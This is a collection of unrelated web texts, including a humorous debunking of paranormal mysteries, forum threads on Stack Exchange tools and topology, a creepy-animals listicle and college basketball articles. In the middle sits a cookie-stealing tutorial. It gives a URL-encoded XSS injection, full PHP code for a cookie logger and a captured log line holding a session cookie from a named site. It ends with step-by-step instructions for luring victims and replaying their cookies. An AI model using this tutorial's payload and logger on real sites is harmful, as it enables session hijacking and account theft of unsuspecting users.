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#3. Men in Black
The Mystery:
If you only know the term "Men in Black" from the Will Smith movie, you should know that the mythology of the MiB predates it by decades. According to paranormal researchers, particularly UFO believers and conspiracy buffs, men dressed in black clothing show up after an encounter with the unknown. They're either government agents or entities posing as government agents, who make vague threats and attempt to intimidate people into keeping quiet about what they saw.
"It's like the Will Smith movie, but with less mind-erasing and more summary executions."
They're always dressed in neatly tailored black suits, drive large, black cars and often seem otherworldly or somehow not human.
The Solution:
MIBs were introduced into the public consciousness by way of a UFO researcher named Gray Barker. Barker was a credible journalist -- and by "credible journalist" we mean the exact opposite of both of those things.
Apparently the Blues Brothers are involved somehow.
Turns out, Gray Barker was actually a closet skeptic, and tended to refer to his UFO writings as "kookie books." In fact, he frequently played pranks on other UFOlogists because he felt like they were taking things too seriously. After his death, his own sister called him out for mostly being interested in cash, saying he once told her, "There's good money in it."
That's a man who's not revealing what's happening to his lower half at that precise moment.
Barker based his book about Men in Black on interviews with UFOlogists who had simply claimed to have been visited by government agents who asked them to take it down a notch. This might not actually be far from the truth. At the time, the government didn't want people getting too worked up over UFOs because they knew the craft were actually experimental spy planes, like the U-2 spy plane.
"Man, that's not a UFO either. Guess we still haven't found what we're looking for."
To further impugn Barker's record, he and his friend James Moseley once got their hands on some blank government stationery and sent a hoax letter to a fellow UFOlogist.
"The alien king of Xibitu has recently come into a great sum of money and needs my help?"
Then in 1970, he published a book titled The Silver Bridge, an account of the "Mothman" sightings in Point Pleasant, West Virginia, which he admitted to his friend John Sherwood contained fictitious and exaggerated accounts. Five years later, UFOlogist John Keel based his book The Mothman Prophecies (which became a film starring Richard Gere) heavily on Barker's book and prank phone calls Barker made to Keel. That's right, the Mothman was invented by Barker, too. Holy shit, we wouldn't be surprised to learn that he invented Bigfoot.
#2. The Belmez Faces
The Mystery:
Back in 1971, the Pereira family of the rural town of Belmez, Spain, found a mystery inside their very home: They woke up one day to find there was a face on their floor. Not a real one, of course -- that would've presented a very different kind of dilemma. This face, which would be known by ghost freakouters throughout the world as La Pava, was a terrifying ghost face that had appeared out of nowhere in the actual concrete.
If we were ghosts with droopy skin, we sure wouldn't showcase it.
Scrubbing and cleaning did nothing to remove it. The Pereiras were understandably a bit freaked out by this turn of events, and before long decided to chop that part of the floor away and pour some new concrete in. But as soon as the new floor was ready, La Pava grew right back. The only difference was, its expression was now slightly different, as if leering. Soon, more faces started to appear.
The paranormal's impressionist period.
The public and the media, of course, went apeshit over the phenomenon. The initial reaction by many was to call bullshit on the whole thing, but research found no evidence whatsoever of paints or dyes. One scientist even dubbed the Belmez faces the best-documented and "without doubt the most important paranormal phenomenon in the 20th century." Do a simple Google search today and you get a whole bunch of sources claiming this is still a huge mystery.
We're calling the old dead-bodies-buried-in-the-concrete trick.
The Solution:
What you don't hear so much is that the mystery of the Belmez faces was solved pretty much the day after it happened.
A study commissioned by the Spanish Ministry of the Interior -- the very same one that found no traces of paint -- broke down all the substances found in and around the faces. The scientists found that the faces' chemical composition strongly resembled stains left by an oxidizing agent. It's almost as if someone had clumsily reproduced old photographs by painting them on the floor with an acidic substance (like, say, vinegar with some soot mixed in). Once ready, the pictures could easily be manipulated with a cleaning agent, such as, say, the concrete stain removal product readily available at the local pharmacist.
Ghosts don't scrub away.
But who would have the chance to execute such a blatant hoax, with all the paranormal investigators and parapsychology advocates, not to mention the lady of the house, who seemed to be the center of the phenomenon, hanging around all the time?
#1. The Crystal Skulls
The Mystery:
Here's something that might have gotten obscured by the cloud of complaints that swirled around the last Indiana Jones film: the crystal skull mentioned in the title is actually based on a real thing. Said skull has gotten a very spooky reputation as one of the world's more mysterious artifacts.
While Indiana Jones 4 just has the reputation of having Shia LeBeouf.
It was found in Belize in 1924 by Anna Mitchell-Hedges, daughter of explorer F.A. Mitchell-Hedges, on a collapsed altar in an ancient Mayan temple. Anna and her father later discovered that the skull was 3,600 years old, and was concisely called "The Skull of Doom." It was used by Mayan priests to wish death upon their enemies. Mitchell-Hedges came to believe that the skull had been polished by hand from a single chunk of crystal using nothing but sand over a period of 300 years. She even claimed that the skull has mysterious powers.
Here's a man communicating with the skull because he claims it's operating on a human level. Obviously.
Modern-day skull followers say that the skull is related to the Mayan 2012 doomsday prophecy, and that bringing the 13 crystal skulls from all around the world together before 12/21/12 is the only way for humanity to survive. Yes, there are more -- six have been found. One is in the British Museum in London, three are in the Quai Branley Museum in Paris, one is in the Smithsonian and the Mitchell-Hedges skull is the last, and said to be the most powerful. We have just over a year to find the other seven. Oh man, we're doomed.
This fetch quest is going to be EPIC.
The Solution:
But there are so many unanswered questions! Why did Mitchell-Hedges and his daughter never mention the skull until 30 years after the expedition? Why did nobody else who went with them ever say anything? Oh wait, turns out he just bought it at a Sotheby's auction in 1943.
The Apocalypse Temple in The Fifth Element was way better.
But hey, just because F.A. Mitchell-Hedges was full of shit about where it came from doesn't necessarily rule it out as a fake, right? It could still be thousands of years old and made by ancient Mayans or aliens or whatever.
Sure, except in 2008 Anna Mitchell-Hedges' widower, Bill Homann, brought the skull to Jane Walsh, an anthropologist at the Smithsonian. Using a scanning electron microscope, she found that the skull hadn't been polished with sand, but with a high-speed diamond-tipped rotary tool, which, if you're keeping score at home, would not be a thing ancient Mayans would have. In fact, Walsh thinks that the skull was probably carved sometime in the 1930s. As far as the five other skulls? Yeah, they're all modern fakes, too.
But the other parts of the movie were true, right?
Man, are the aliens going to be disappointed when we've scienced every mystery to death.
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I think it's a bit deceptive that a person works hard for months to get to the 10K tools, to have access to the moderator tools, to find out that all it is is analytical tools. While they are nice, I think it would be best if an appropriate name could be found for these tools, perhaps advanced statistics, or something like that.
What is meta?
- Any Stack Exchange user can ask a question
- The community provides support, votes on ideas, and reports bugs
- Your voice helps shape the way Stack Exchange operates
Power Tools.
Yeah? Nifty, eh?
What do you think a moderator does? They moderate. They keep track of things happening on the site and step in when they notice (or are notified of) things going awry. Of course they're going to need a set of analytical tools to get the bigger picture of what's going on.
If you didn't think that was what most of the 10k/pseudo-mod tools were all about, then I think you deceived yourself. Honestly, I don't really see any reason to change the name, especially since the privileges page explains everything in detail.
Matt Haughey of MetaFilter recently released a video that describes all of the tools that they created over the years to help moderate their site with only 3 or 4 moderators.
Many of the tools are very similar to the ones you see as a 10k user. Matt Haughey's MetaFilter Video actually does a really good job of describing how all of the 10k moderator tools could be used to help detect problem areas and respond to them quickly.
While these may look like simple analytical tools, if you take the time to learn how to use them, you'll find them to be quite powerful.
But they are 10K moderator tools. You were expecting to open a world of ultimate power and slash & burn abilities; so in that sense, the 10K tools are a bit of a disappointment.
But, if you've been an active participant in the community self-moderation up to this point, the "10K moderator tools" are a panacea of information. They make it a lot easier to find activities that NEEDS community attention. The 10K tools are really important help the high-rep community see where intervention might be needed: where edit wars are going on, where new tags with typos have been made, which questions are spam, etc.
10K moderators are the sentries of the site; They provide the lookout. They have a lot more oversight about what is going around key events in the site: extreme voting situations, decisive voting activities, new user posts, new tags, etc. But for the really "heavy lifting", where direct intervention is needed, users can flag the diamond ♦ moderators.
Check out Matt Haughey's Video Offering Advice to Community Moderators. This information will help you understand how these types of tools can help in everyday community moderation.
But besides all the reports and back-room insights, there are a few new active powers that 10K moderators gain. Most notably, 10K moderators can finally DELETE closed posts which the community decided no longer belong on the site. +10K users can so also see deleted posts. They can also undo much of this activity, if something goes wrong. 10K moderators provide a bit of checks-and-balances where the community and other moderators do something unexpected.
The whole idea is to get in the habit or lending a hand with the routine cleanup work. Check the latest closed posts to decide what no longer belongs on the site (off topic, spam, etc).
These community moderator activities keep the site sleek and high quality.
Congratulations on your new reputation abilities!
For anyone who is not familiar with the 10K tools feature, here is a quick overview of what is to come:
Users with +10,000 reputation become what is known as a "10K moderator." It is the highest level of "community self-moderation" just short of the voted "diamond ♦ moderators" which are voted on by the community.
In the top bar where you have the 'Chat', 'Main', and 'FAQ' options, there will be another menu option called "Tools".
The menus and help text list the basic tools available there:
The key power that comes with the 10k dashboard is the overview of what is going on with the site: seeing what posts are getting flagged, what questions are getting close and delete votes. This overview marks a very important divisions between those who are working with this and that question thread and those who have the power to participate in the management of the site.
It makes perfect sense to me to call that the division between regular users and moderators, notwithstanding the existence of degrees of trust within the body of the users who have this administrative overview.
Still, access to moderator tools doesn't make you a moderator, so maybe we are better off with something like status tools.
"Site Overview" sounds good to me.


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@justagigilo85: yeah, its 50% off then 15 percent off that total, so probably like 55-60% off the original price.
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I know that there definitely are two topological spaces with the same homology groups, but which are not homeomorphic. For example, one could take T^2 and S^{1}\vee S^{1}\vee S^{2} (or maybe S^{1}\wedge S^{1}\wedge S^{2}), which have the same homology groups but different fundamental groups. But are there any examples in the smooth category?
Sure -- there are an abundance of homology spheres in dimension 3 (the wikipedia article is pretty nice).
For other examples, in dimension 4 you can find smooth simply-connected closed manifolds whose second homology groups (the only interesting ones) are the same but which have different intersection pairings.
This last subject is very rich. For bathroom reading on it, I cannot recommend Scorpan's book "The Wild World of 4-Manifolds" highly enough.
More surprisingly, you can find smooth manifolds which are homeomorphic (and in particular, have the same homology) but are not diffeomorphic! The best-known examples are exotic spheres.
A more trivial example is R^n and R^m for m and n different. (More generally two contractible spaces of different dimensions.)
Serre has shown with the help of two embeddings phi and psi of a quadratic number field into C that there exist two projective surfaces V(phi)and V(psi) over C which have non isomorphic fundamental groups (and so are non homeomorphic) but have isomorphic Betti numbers.
The comparison theorem between étale cohomology and singular cohomology ( which didn't exist when Serre wrote his article ) even proves thar these surfaces have the same singular cohomology with value in any finite abelian group or over Q_l(l-adics) for any prime l.
I don't know if these surfaces have the same homology and so I don't answer your question in the strict sense (anyway, now you have Andy's and Eric's most satisfying solutions); but these remarks in an algebraic geometry context might interest you. Serre's article is
Exemples de variétés projectives conjuguées non homéomorphes, C.R. Acad.Sci.Paris 258 (1964), 4194-4196


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by Melissa Brunner
Author Stephen King shared some interesting thoughts in Sunday's Parade magazine. Responding to whether he thought reading is as important to today's kids, he talked about a writing seminar he did last year with high school students. He said they were really bright kids, but they couldn't spell! The problem, King said, is that spell check won't help if you don't know "through" from "threw."
It's a good point. I admit, spell check had bailed me out a time or two (or 10!). I do a lot of reading in my job and can't tell you how many times there are news releases where a writer for their organization mixes up word forms in relating what they're doing. (See what I did there?) When it comes to grammar, it's as if we downplay its importance. (I did it again!)
It's not that Americans are getting dumber. Several data reviews found that, since the early 1900s, Americans gained an average three points per decade on standardized IQ tests. One researcher has theorized it may be because we've become more adept at compartmentalizing information and developing the skill sets needed for such tests.
No doubt our world is a lot more advanced than it was in prior centuries. But the basics of reading and writing - of communicating - are the foundation upon which all the rest rests. King said in the Parade interview, "If you can read in the 21st century, you own the world." I tend to agree. If we forget the basics, we risk the rest of it crumbling.
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Possibly bootlegged, possibly deliberately so as a marketing stunt by Sony (especially as it has yet to be pulled), here is the NSFW trailer for Fincher's take on 2009's most absurdly overhyped movie. The trailer is a masterpiece, but the movie it's advertising looks taken almost shot-for-shot from the Swedish film. And there isn't anything in here to suggest, so far, that Fincher has a unique tack on the material that will mitigate the myriad flaws of the original. But Karen O + Trent Reznor attacking Led Zep, plus brilliant editing, type and tagline? I might be sold anyway.
http://www.youtube.com/watch?v=8kOFGI0p ... r_embedded


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I thought it was about time for someone to post a cookie stealing tutorial, so I decided to write one for you from the ground up.
NOTE: Again... this was written to educate you on the security aspects of the following information, not to teach you how to break the law or do something stupid. Use what you learn from this to make your website more secure/use better browsing habits, not break into other websites.
First, make sure you've read these two articles because I'm going to assume you already understand everything written in them:
XSS Complete Guide
All About Cookies and Security
Now we need to understand a bit more about how XSS actually works before moving on. From the above article, you already know a bit of the theory behind XSS, so we'll get right to the code. Let's say a web page has a search function that uses this code:

Name	<input type="text" name="advisor_name" value="">

Name	<input type="text" name="advisor_name" value="">

http://www.site.com/search.php?q=%22%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%74%65%73%74%22%29%3c%2 f%73%63%72%69%70%74%3e
Using XSS to Steal Cookies
OK, so now you know the page is vulnerable to XSS injection. Great. Now what? You want to make it do something useful, like steal cookies. Cookie stealing is when you insert a script into the page so that everyone that views the modified page inadvertently sends you their session cookie. By modifying your session cookie (see the above linked tutorial), you can impersonate any user who viewed the modified page. So how do you use XSS to steal cookies?
The easiest way is to use a three-step process consisting of the injected script, the cookie recorder, and the log file.
First you'll need to get an account on a server and create two files, log.txt and whateveryouwant.php. You can leave log.txt empty. This is the file your cookie stealer will write to. Now paste this php code into your cookie stealer script (whateveryouwant.php):
<?php function GetIP() { if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) $ip = getenv("HTTP_CLIENT_IP"); else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) $ip = getenv("HTTP_X_FORWARDED_FOR"); else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) $ip = getenv("REMOTE_ADDR"); else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")) $ip = $_SERVER['REMOTE_ADDR']; else $ip = "unknown"; return($ip); } function logData() { $ipLog="log.txt"; $cookie = $_SERVER['QUERY_STRING']; $register_globals = (bool) ini_get('register_gobals'); if ($register_globals) $ip = getenv('REMOTE_ADDR'); else $ip = GetIP(); $rem_port = $_SERVER['REMOTE_PORT']; $user_agent = $_SERVER['HTTP_USER_AGENT']; $rqst_method = $_SERVER['METHOD']; $rem_host = $_SERVER['REMOTE_HOST']; $referer = $_SERVER['HTTP_REFERER']; $date=date ("l dS of F Y h:i:s A"); $log=fopen("$ipLog", "a+"); if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog)) fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE: $cookie
"); else fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date | COOKIE: $cookie \n\n"); fclose($log); } logData(); ?>
Now we need to get the vulnerable page to access this script. We can do that by modifying our earlier injection:
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"><Click Me></script>
logData(); ?>
logData(); echo 'Page Under Construction' ?>
IP: 220.127.116.11 | PORT: 56840 | HOST: | Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:22.214.171.124) Gecko/2009032711 Ubuntu/8.10 (intrepid) Firefox/3.0.8 | METHOD: | REF: http://www.ifa.org.nz/search.php | DATE: Tuesday 21st 2009f April 2009 05:04:07 PM | COOKIE: cookie=PHPSESSID=889c6594db2541db1666cefca7537373
So in summary:
1. Test the page to make sure it's vulnerable to XSS injections.
2. Once you know it's vulnerable, upload the cookie stealer php file and log file to your server.
3. Insert the injection into the page via the url or text box.
4. Grab the link of that page with your exploited search query (if injection is not stored on the server's copy of the page).
5. Get someone to use that link if necessary.
6. Check your log file for their cookie.
7. Modify your own cookie to match the captured one and refresh the page.
I originally posted this article on TechMafias.com but reposted it here for the go4expert community.
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Currently I have a problem with some German characters like ö,ä,ü and so on in my web part. SharePoint didn't show these characters correctly. It just shows some crazy stuff like ö.
The Element.xml use
<?xml version="1.0" encoding="utf-8"?>.
The Sharepoint header uses
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">.
If I add a special character in the text field in SharePoint, the characters will show correctly. How could I fix this?


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there have been many threads here that where started by users who have recently joined xbox scene forums, most of these threads have insufficient evidence of items (i.e. have pictures of there name, but not dated or related to xbox scene) and at least one has turned out to be a known scammer & multiple account holder.
i have been rolling over the idea for quite some time now and i think this rule will improve the quality of sellers in the bst while allowing users and mods to more easily spot scammers.
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Date & Time:Saturday, September 21, 2013 - 10:00am – 4:00pm
The Beaufort History Museum presents historian and 54th Massachusetts Regiment re-enactor Joseph McGill and other re-enactors, who will create an encampment as the First South Carolina Volunteers, the first officially recognized unit of the United States Colored Troops. The encampment will be held in the Naval Hospital Park, off Ribaut Road in Port Royal, very near to the unit's original camp site of 150 years ago. The event is free. Information: 277-1443, beauforthistorymuseum.com


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13 Real Animals Lifted Directly Out of Your Nightmares
Nature seems to have a limitless supply of creativity. From giant spiders to gamma ray bursts, nature has gotten more mileage out of the same old material than the writers of The Simpsons.
But sometimes the things she comes up with are so goose-fucking insane they make Crispin Glover look like Jean-Luc Picard. We're talking about creatures that seemed to have abandoned all earthly processes of evolution to achieve pure horror.
#13. Deep Sea Hatchetfish A.K.A. the Fish That Will Eat Your Soul
Also known as the fish of the damned, it appears the only reason we don't hear their curse-filled lamentations is because they're underwater. Fill your aquarium with these fuckers and you'll fall asleep every night watching them silently proclaim your impending damnation.
They only grow to be about four and a half inches long, but their bite-sized terror is potent--they hide in the deep during the day, then rise up at night, returning once more to the abyss as day breaks. We believe they're called hatchetfish because that's what you'll wish you had in your hand if you saw one.
#12. The Squid with Teeth (Promachoteuthis Sulcus)
Looking like a human mouth surrounded by tentacles, this thing could have come straight out of bad horror anime. Or possibly the final level of a Gradius game.
That is Promachoteuthis sulcus, an extremely rare, deep sea squid known only from a single specimen. Researchers have a science boner over the fact that these things have weird tentacle proportions, but the rest of us are just freaked out by the teeth, which we're told is an illusion: What appear to be teeth are actually lips that cover the more normal squid beak. This is the equivalent of buying novelty hillbilly teeth and wearing them all the time for no reason.
Still, we're not sticking our fucking finger in there.
#11. The Fish with a Human Fucking Face
Hey, what could be creepier than a weird human mouth stuck on a sea creature? How about a whole fucking face?
That is a Matsuba Koi. If that name sounds familiar, that is because they're those big gold fish found in Japanese ponds. Apparently, every so often, some types wind up with a human-looking face, and one that looks slightly pissed off.
Can you imagine being out fishing and catching that bastard? With that face looking up at you? And it calls you "daddy"?
#10. What's Worse Than a Fish with a Human Face? This.
Bullshit. That cannot be real. Evolution did not spawn a creature with a fucking yellow smiley face on its back. Science is lying to us.
This is Theridion grallatora, a.k.a. the Happy Face Spider, a.k.a. a sick joke somebody is playing on the world's spider experts. Some think the terrifying cartoon face somehow evolved to ward off predators, presumably by convincing them that instead of seeing a spider, they're merely having a bad acid trip. Best to abandon dinner and go lie down for a bit.
#9. Cthulhu Larva (A.K.A. Abyssal Sea Cucumber)
The Deep Sea Holothurian, better known as an abyssal sea cucumber, sounds like a boss from Final Fantasy and looks like something Khan would attach to the brain of a Starfleet officer.
It is only a few inches long, has no face and eats mud, which is exactly how we described our genitalia on Match.com. Somehow, the abyssal sea cucumber is one of the most successful ocean dwelling species, presumably because any predator would take one look at this thing and run home to sleep with the lights on in their parents' room.
"That's fine, I'll kill your parents too."
#8. A Spider with Arms... and Claws
OK, so it's not a spider. Amblypygi, or the tailless whip scorpion, looks like nature decided to take everything that creeps us the fuck out about bugs and roll them together in one sleeping bag-lurking masterpiece.
If somebody told us that a bite from this thing would explode the heads of 17 elephants, we would believe them based on this picture alone. Amazingly, the amblypygi has no venom at all and lives mostly in tropical forests and caves, doing its best to mind its own business. Well, as much as creature that looks like that can mind its own business while shoveling prey into its mouth using its fucking hands.
#7. The Giraffe Weevil A.K.A. the Thing That's On the Back of Your Neck Right Now
That's the giraffe weevil, and never has something so unsettling gotten such a cute name. It hails from Madagascar, and apparently the long freak neck is an adaption to help male weevils roll leaves into tubes for keeping their eggs.
All we know is that before today we thought giant-ass insects were about the worst thing you could find in your house. Now we know it's quite a bit weirder if you just take one part of the insect and grow one part of its body to freakishly huge proportions.
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Is one part of the day more prevalent then other when it comes to mammal animals mating? Is there an aggregating study that has been done to see if these living beings in nature mate mostly during day or night?
Why would it evolve?
No research (that I can find) is consistent with specific time of day mating across many species. I can't think of any reason why even just a few quite different mammals (e.g. mice, bats, lions, whales, and humans) would all find a fitness benefit of mating at the same specific time of day and therefore it is highly unlikely to evolve. I would suggest that if there are consistent patterns they are no reason other than coincidence (correlation over causality).
For example, dawn and dusk peaks in activity...
I have no references to back this idea up but lets see how this goes. The majority of mammals will be awake around dawn and dusk because there is likely an over lap between nocturnal and diurnal species at these times. Given that mating (normally) requires the participants to be awake then this would be a time when more animals are awake it is therefore a more likely time for mating to occur. But, as I already mentioned it would purely be because of the increased numbers awake.
Simple statistical illustration of the dawn & dusk idea...
Imagine a raffle with 2000 winning tickets. You buy 1000 and put 500 hundred of these in a box called nocturnal and the other 500 go in a box called diurnal. The raffle is drawn 24 times (perhaps every hour). The first 14 times it is drawn you can win if the ticket is from the nocturnal box, the latter 14 times you can instead check the diurnal box. This means during the first 10 draws you have a 25% chance of winning, and likewise in the latter 10 hours, but in the middle 4 hours there is a 50% chance every draw.
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Girls hoop: Indians' defense keeps them perfect
Watertown girls basketball coach Ed Lopes is a devotee of coaching clinics, traveling around the country for a chance to listen to prominent college and pro coaches divulge the secrets of their success.
A couple of years ago, he heard Purdue men's coach Matt Painter and West Virginia men's coach Bob Huggins preach the importance of deflections on defense. He decided to start keeping track of his own team's deflections, and now one girl on the bench is designated to count each player's deflections on defense.
"Any defender who gets a hand on the ball — it doesn't have to turn into turnover — as long as it changes the ball's direction, we count it," explained Lopes.
"It's just another little stat that gives the girls something to think about."
Against St. Paul last week, Watertown had 41 deflections. Against Wilby, it had 26; against Woodland, 31. Emphasizing the tactic has helped to create an aggressive defense that smothers other teams.
Through six games (all wins), the Indians are allowing only 28.5 points while scoring at a 53.7 clip themselves.
Despite trailing at halftime vs. St. Paul, 16-15, Watertown surged to the win in the second half, outscoring the Falcons in the fourth quarter, 13-3.
"Three points for St. Paul and one hoop in the fourth quarter, I'm not sure that's ever happened since they came into the NVL," noted Lopes.
Defense has been a hallmark of Lopes' teams in his eight seasons. Scoring has often been a struggle. So far this season, senior guard Jamie Zoldy leads the team with a 10.7 ppg. average and freshman center Abby Collier averages 9.0 ppg., but Lopes relies on depth for his points.
He plays 10 or 11 girls each night, and usually nine score. Against St. Paul, no one hit for double figures, but seven players had at least four points, led by junior Sara Selimovski's eight. The other starters are senior Gabby Rinaldi and junior Meg Perrin, last year's leading scorer.
The Indians (6-0) face a key Naugatuck Valley League Brass Division battle tonight when they visit Wolcott (5-1) for a 7 p.m. game.
"I got to see them against Ansonia (Wolcott's only loss)," said Lopes. "They are an aggressive, nonstop team. They're very, very good. With the coaching change and (Chelsea) Houlihan transferring (to Holy Cross), no one talked much about Wolcott. But they impressed me. I know they lost to Ansonia, but they're all over the floor. They're very aggressive, very high-energy. That coach (Jess Geddes) has them going in a great direction. For her to do this in her first year, clearly the kids are responding to her, that's great."
A devil of a time: In a superb nonconference matchup also tonight, Thomaston, which has been on cruise control through its first four games, takes on defending Class S champion Coginchaug. Could this be a measuring stick for the Golden Bears' season?
"If we win, I hope it is," quipped coach Bob McMahon.
The Blue Devils handled Thomaston in Durham last winter, winning 56-35. Although Coginchaug lost three key players from that squad, they're still off to a 6-0 start, including an opening win over Kolbe Cathedral. McMahon knows this will be the toughest test so far for his team, which has outscored opponents, 257-88.
"We've had a lot of history against the Shoreline (Conference) teams and none of it has been good," noted McMahon. "We know they're not going to be intimidated walking into the Thomaston gym. They play two games like this every week."
But McMahon likes how his team has performed thus far. In Abby Hurlbert (15.4 ppg.), Maggie Eberhardt (15.0) and Morgan Sanson (11.0), the Bears have three double-figure scorers.
"Everybody is playing pretty much the way we thought they would," the coach said. "I know each one of them wants to get better each night. If that happens, we'll be in really good shape."
Red-hot Panther: The hottest player in Greater Waterbury out of the gate is Pomperaug senior guard Gabbie Holness. At 25 ppg., she's the only one in the area averaging more than 20.
She has hit for 34 points twice, in a season-opening 70-54 win over Masuk and in a 57-49 win over Newtown.
"She's playing really under control," noted coach Joe Fortier. "She worked a lot on her jump shot and pull-up jumper. Instead of just going to the hoop, which is still a strength, she's pulling up in the paint. She's explosive, and once she plays under control and still with a burst of speed, she's hard to guard."
Points aren't all that she's providing for the 6-0 Panthers. She had 11 steals and seven rebounds against Masuk, 10 rebounds and seven steals against Norwich Free Academy, 11 steals against Stratford and 10 rebounds and eight steals against New Fairfield.
"If I looked over the last three years, she's my best player each year," said Fortier. "Every off season, she's improved. She works hard on her game."
Fortier credits much of her improvement to playing on the Lady Blazers AAU team in New Haven, coached by Hillhouse coach Catrina Hawley-Stewart. Teammate Morgan Metcalf also plays for the club, which draws some of the top talent in the New Haven area.
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So 12 hours to go till the TV/Web showing?? I have the afternoon off but will probably miss the first 40 minutes or so...
As I think I'll miss the beginning of the performance too (I've started taking evening classes of Russian!) I checked Rai 5 website and saw that they usually leave the programmes they have broadcasted to be seen for a week or so after showing it. So for those who cannot see it in streaming you can try with the 'on demand' button which redirects to previous shows. Mind you, I'm not 100% sure they will make THIS specific show available for later viewing, this is just what they usually do.
By the way, I saw it live two days ago, and I'm still amazed!
I'm not an expert so I can't make a technical comment. I can only say that it was so sumptuous, lavish...marvellous! I really appreciated it, and if it is really reminescent of what the real thing used to be,I must say I felt the grandeur of the whole production.
After seeing this performance I must say I don't agree with those who criticized this production (there was a very bad review in the Corriere della Sera) and as Italian ballet lover I'm really gladand proud La Scala put on such an interesting, unique, and 'relevant' production. Also the pantoimime parts which I usually don't like...well this time I fully appreciated them. I can't explain why, but to me they seemed perfectly appropriate, they fitted in perfectly, so they seemed believable and I truly appreciated them in the framework of a story that was being beautifully told.
The only thing is...for a series of coincidences a few days before I had seen the Mariinsky in La Bayadere which was performing in Turin.
I know the two are not comparable in any way, still after seeing Lopatkina a few days before I must say Novikova seemed to me very, very cold...aloof and not as magnetic as Lopatkina was for me. Of course this is just a personal and very subjective opinion.
I'm sorry if this sort of 'review' is very amateur...but that's what I am, just a ballet lover!


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Real name David Evans, The Edge is the guitarist for the famous Irish rock band U2, known for his love of effect pedals, harmonics, "sonic soundscapes" and "less is more." He has a very minimalist style, so when he really rocks out in songs such as "The Fly" (from the 1991 album "Achtung Baby") the effect is far greater. Possibly best known for his intro to the song "Where the Streets Have No Name" from the 1987 album The Joshua Tree, which is essentially a four-note arpeggio done repeatedly but is regarded as one of the greatest intros of all time.
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Guitarist of the great Irish Band U2. Occassionally plays bass (during the song "40" primarily)
Did you hear that solo Edge just played in "The Fly"?
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I live life on the edge.
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Once you've gone over, you don't come back.
"The Edge... there is no honest way to explain it because the only people who really know where it is are the ones who have gone over. The others--the living--are those who pushed their control as far as they felt they could handle it, and then pulled back, or slowed down, or did whatever they had to when it came time to choose between Now and Later."
--Hunter S. Thompson
--Hunter S. Thompson
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Drugs and/or alcohol usually take the edge off.
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The New Thing in College Basketball: Embracing Old School
The 2013 NCAA Tournament, Circa 1939
Ohio State runs a drill in practice called "war rebounding," which is about as delicate as it sounds.
Coaches cover the basket with a bubble so the shots can't go in, thus forcing the defense to battle the offense for every loose ball. The torture lasts until the defense claims a certain number of rebounds, or head coach Thad Matta has mercy on the panting, sweating souls of his players. The drill's maximum length: about 45 minutes.
"It's a dogfight," said Ohio State guard Lenzelle Smith Jr.
As ardent basketball fans know, the sport is suddenly awash in new technologies, tools and metrics. As the NCAA tournament begins in earnest Thursday, many players will be opening their iPads to watch video clips of their opponents, some broken down to types of play as specific as the pick and roll.
But coaches at high-profile programs are not completely buried in spreadsheets. In fact, some of them are turning back the clock and embracing simple, straightforward methods of training, motivation and skill development that would make Dr. James Naismith feel right at home.
The weight room for No. 6-seed Butler looks like a scene out of the 1920s. Players lug 15-pound medicine balls around, squat with their thighs parallel to the floor and bench-press 185-pound barbells, a routine strength coach Jim Peal calls the "cornerstone" of the program. "We're not out there chasing the newest fad that might not be here next week," he said.
The beefed-up Bulldogs have made the tournament six out of the past seven years, including two NCAA finals, despite a lack of top-tier recruits.
"We do everything in the new school, if you would call it," said Butler coach Brad Stevens, a 36-year-old devotee of advanced statistics. "But I also believe in some old-school brute strength."
In an era when many sports teams employ modern-minded psychologists to help the players clear their mental pathways, others are clinging to simpler methods. Michigan, the No. 4 seed in the South Region, employs assistant coach Bacari Alexander, a former Harlem Globetrotter who once performed the troupe's confetti-in-the-bucket routine. One of his jobs is to pump up players with pre-game speeches that involve everything from construction hardhats to a nutcracker (for the despised Buckeyes).
Alexander began a speech last season by lying on the locker-room floor. He shouted at the surrounding Michigan players that they had been allowing Ohio State to walk all over them. "Are you going to lie down or get up?" he asked.
"Get up!" the players yelled.
Duke, the Midwest Region's No. 2 seed, has a more concrete method of motivation. The Blue Devils measure conditioning with the fitness test from the NBA combine: 185-pound bench press, vertical jump, three-quarter-court sprint and lane-agility run. The player in the best shape each year is rewarded with a garish leather belt specifically designed by Top Rope Belts in North Carolina to resemble a professional wrestling accessory. "If you're going to do a belt," Duke strength coach Will Stephens said, "you have to make it look really nice."
The Buckeyes, members of the bruising Big Ten conference, also perform an exercise called "eight-man passing" that consists of eight guys sprinting the court for 35 seconds while whipping around two balls that can't touch the floor. "Eight-man passing does suck," admitted Ohio State guard Aaron Craft.
It seems to be working for Craft and his teammates: Ohio State's turnovers crept up to 11.5 per game last season as the Buckeyes moved away from the drill. But with Matta emphasizing eight-man passing this season, turnovers are down to 10.3 per game, and Ohio State's players credit their recent eight-game winning streak and No. 2 seed in the West Region to improved passing.
Then there's Wisconsin, a No. 5 seed in the tournament, which plays a brand of basketball that never has been known as state-of-the-art. The Badgers don't bamboozle team with tricks or gimmicks. What they do is slow things down, protect the ball and turn opposing offenses into horror films.
"It's not like you're going to find Jordan's secret stuff from 'Space Jam' in our locker room," Wisconsin forward Mike Bruesewitz said.
Badgers guard Ben Brust described "partner passing," a typical drill the team runs at the beginning of practice. It is, he says, pretty much exactly that. "You get a partner and practice passing," Brust said. "It sounds simple and dumb."
Wisconsin coach Bo Ryan, 65, said he prides himself on stressing "what a lot of other teams don't bother with." When visiting high-school coaches ask him why he likes such an unsophisticated drill, he doesn't care. "I'm a basic guy," he said.
Ryan isn't even comfortable with the term "passing drills." He calls them "passing and catching drills," he said, because the catch is just as critical as the pass.
